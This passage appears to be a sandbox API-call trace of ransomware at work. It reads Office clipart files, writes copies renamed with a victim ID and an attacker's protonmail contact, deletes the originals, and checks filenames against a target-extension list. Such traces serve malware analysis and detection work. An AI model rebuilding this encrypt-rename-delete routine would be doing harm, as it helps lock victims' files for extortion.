	[0197.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.911] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11492) returned 1
	[0197.911] CloseHandle (hObject=0x5e0) returned 1
	[0197.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220
	[0197.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.912] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.912] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.913] GetLastError () returned 0x0
	[0197.913] ReadFile (in: hFile=0x5e0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2ce4, lpOverlapped=0x0) returned 1
	[0197.914] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0197.915] ReadFile (in: hFile=0x5e0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.915] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.915] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.915] CloseHandle (hObject=0x5ec) returned 1
	[0197.916] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.916] SetEndOfFile (hFile=0x5e0) returned 1
	[0198.261] CloseHandle (hObject=0x5e0) returned 1
	[0198.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1
	[0198.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.851] lstrlenW (lpString=".doc") returned 4
	[0198.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.851] lstrlenW (lpString=".docx") returned 5
	[0198.851] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.851] lstrlenW (lpString=".pdf") returned 4
	[0198.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.851] lstrlenW (lpString=".xls") returned 4
	[0198.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.851] lstrlenW (lpString=".xlsx") returned 5
	[0198.851] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.851] lstrlenW (lpString=".ppt") returned 4
	[0198.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.851] lstrlenW (lpString=".zip") returned 4
	[0198.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.851] lstrlenW (lpString=".rar") returned 4
	[0198.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.851] lstrlenW (lpString=".bz2") returned 4
	[0198.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.851] lstrlenW (lpString=".7z") returned 3
	[0198.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString=".dbf") returned 4
	[0198.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString=".1cd") returned 4
	[0198.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString=".jpg") returned 4
	[0198.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString=".doc") returned 4
	[0198.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString=".docx") returned 5
	[0198.852] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.852] lstrlenW (lpString=".pdf") returned 4
	[0198.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString=".xls") returned 4
	[0198.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.852] lstrlenW (lpString=".xlsx") returned 5
	[0198.852] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.852] lstrlenW (lpString=".ppt") returned 4
	[0198.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.852] lstrlenW (lpString=".zip") returned 4
	[0198.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.852] lstrlenW (lpString=".rar") returned 4
	[0198.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.852] lstrlenW (lpString=".bz2") returned 4
	[0198.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.853] lstrlenW (lpString=".7z") returned 3
	[0198.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.853] lstrlenW (lpString=".dbf") returned 4
	[0198.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.853] lstrlenW (lpString=".1cd") returned 4
	[0198.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0198.853] lstrlenW (lpString=".jpg") returned 4
	[0198.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.853] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.853] lstrlenW (lpString="J0107502.WMF") returned 12
	[0198.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.854] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10836) returned 1
	[0198.854] CloseHandle (hObject=0x510) returned 1
	[0198.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220
	[0198.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.855] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.855] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.855] GetLastError () returned 0x0
	[0198.856] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2a54, lpOverlapped=0x0) returned 1
	[0198.857] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0198.858] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.859] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.859] SetEndOfFile (hFile=0x460) returned 1
	[0198.859] CloseHandle (hObject=0x460) returned 1
	[0198.859] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.859] SetEndOfFile (hFile=0x510) returned 1
	[0198.862] CloseHandle (hObject=0x510) returned 1
	[0198.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1
	[0198.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.863] lstrlenW (lpString=".doc") returned 4
	[0198.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.863] lstrlenW (lpString=".docx") returned 5
	[0198.863] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.863] lstrlenW (lpString=".pdf") returned 4
	[0198.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.863] lstrlenW (lpString=".xls") returned 4
	[0198.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.863] lstrlenW (lpString=".xlsx") returned 5
	[0198.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.864] lstrlenW (lpString=".ppt") returned 4
	[0198.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString=".zip") returned 4
	[0198.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.864] lstrlenW (lpString=".rar") returned 4
	[0198.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString=".bz2") returned 4
	[0198.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString=".7z") returned 3
	[0198.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString=".dbf") returned 4
	[0198.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString=".1cd") returned 4
	[0198.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString=".jpg") returned 4
	[0198.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.864] lstrlenW (lpString=".doc") returned 4
	[0198.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString=".docx") returned 5
	[0198.864] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.864] lstrlenW (lpString=".pdf") returned 4
	[0198.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.864] lstrlenW (lpString=".xls") returned 4
	[0198.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.864] lstrlenW (lpString=".xlsx") returned 5
	[0198.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.865] lstrlenW (lpString=".ppt") returned 4
	[0198.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.865] lstrlenW (lpString=".zip") returned 4
	[0198.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.865] lstrlenW (lpString=".rar") returned 4
	[0198.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.865] lstrlenW (lpString=".bz2") returned 4
	[0198.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.865] lstrlenW (lpString=".7z") returned 3
	[0198.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.865] lstrlenW (lpString=".dbf") returned 4
	[0198.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.865] lstrlenW (lpString=".1cd") returned 4
	[0198.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0198.865] lstrlenW (lpString=".jpg") returned 4
	[0198.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.865] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.865] lstrlenW (lpString="J0107512.WMF") returned 12
	[0198.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.866] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11404) returned 1
	[0198.866] CloseHandle (hObject=0x510) returned 1
	[0198.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220
	[0198.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.867] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.867] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.867] GetLastError () returned 0x0
	[0198.867] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2c8c, lpOverlapped=0x0) returned 1
	[0198.869] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0198.870] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.870] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.870] SetEndOfFile (hFile=0x460) returned 1
	[0198.870] CloseHandle (hObject=0x460) returned 1
	[0198.870] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.870] SetEndOfFile (hFile=0x510) returned 1
	[0198.873] CloseHandle (hObject=0x510) returned 1
	[0198.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString=".doc") returned 4
	[0198.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString=".docx") returned 5
	[0198.875] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.875] lstrlenW (lpString=".pdf") returned 4
	[0198.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString=".xls") returned 4
	[0198.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.875] lstrlenW (lpString=".xlsx") returned 5
	[0198.875] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.875] lstrlenW (lpString=".ppt") returned 4
	[0198.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString=".zip") returned 4
	[0198.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.875] lstrlenW (lpString=".rar") returned 4
	[0198.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString=".bz2") returned 4
	[0198.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString=".7z") returned 3
	[0198.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString=".dbf") returned 4
	[0198.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString=".1cd") returned 4
	[0198.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.875] lstrlenW (lpString=".jpg") returned 4
	[0198.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString=".doc") returned 4
	[0198.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString=".docx") returned 5
	[0198.876] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.876] lstrlenW (lpString=".pdf") returned 4
	[0198.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString=".xls") returned 4
	[0198.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.876] lstrlenW (lpString=".xlsx") returned 5
	[0198.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.876] lstrlenW (lpString=".ppt") returned 4
	[0198.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString=".zip") returned 4
	[0198.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.876] lstrlenW (lpString=".rar") returned 4
	[0198.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString=".bz2") returned 4
	[0198.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString=".7z") returned 3
	[0198.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString=".dbf") returned 4
	[0198.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString=".1cd") returned 4
	[0198.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0198.876] lstrlenW (lpString=".jpg") returned 4
	[0198.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.877] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.877] lstrlenW (lpString="J0107514.WMF") returned 12
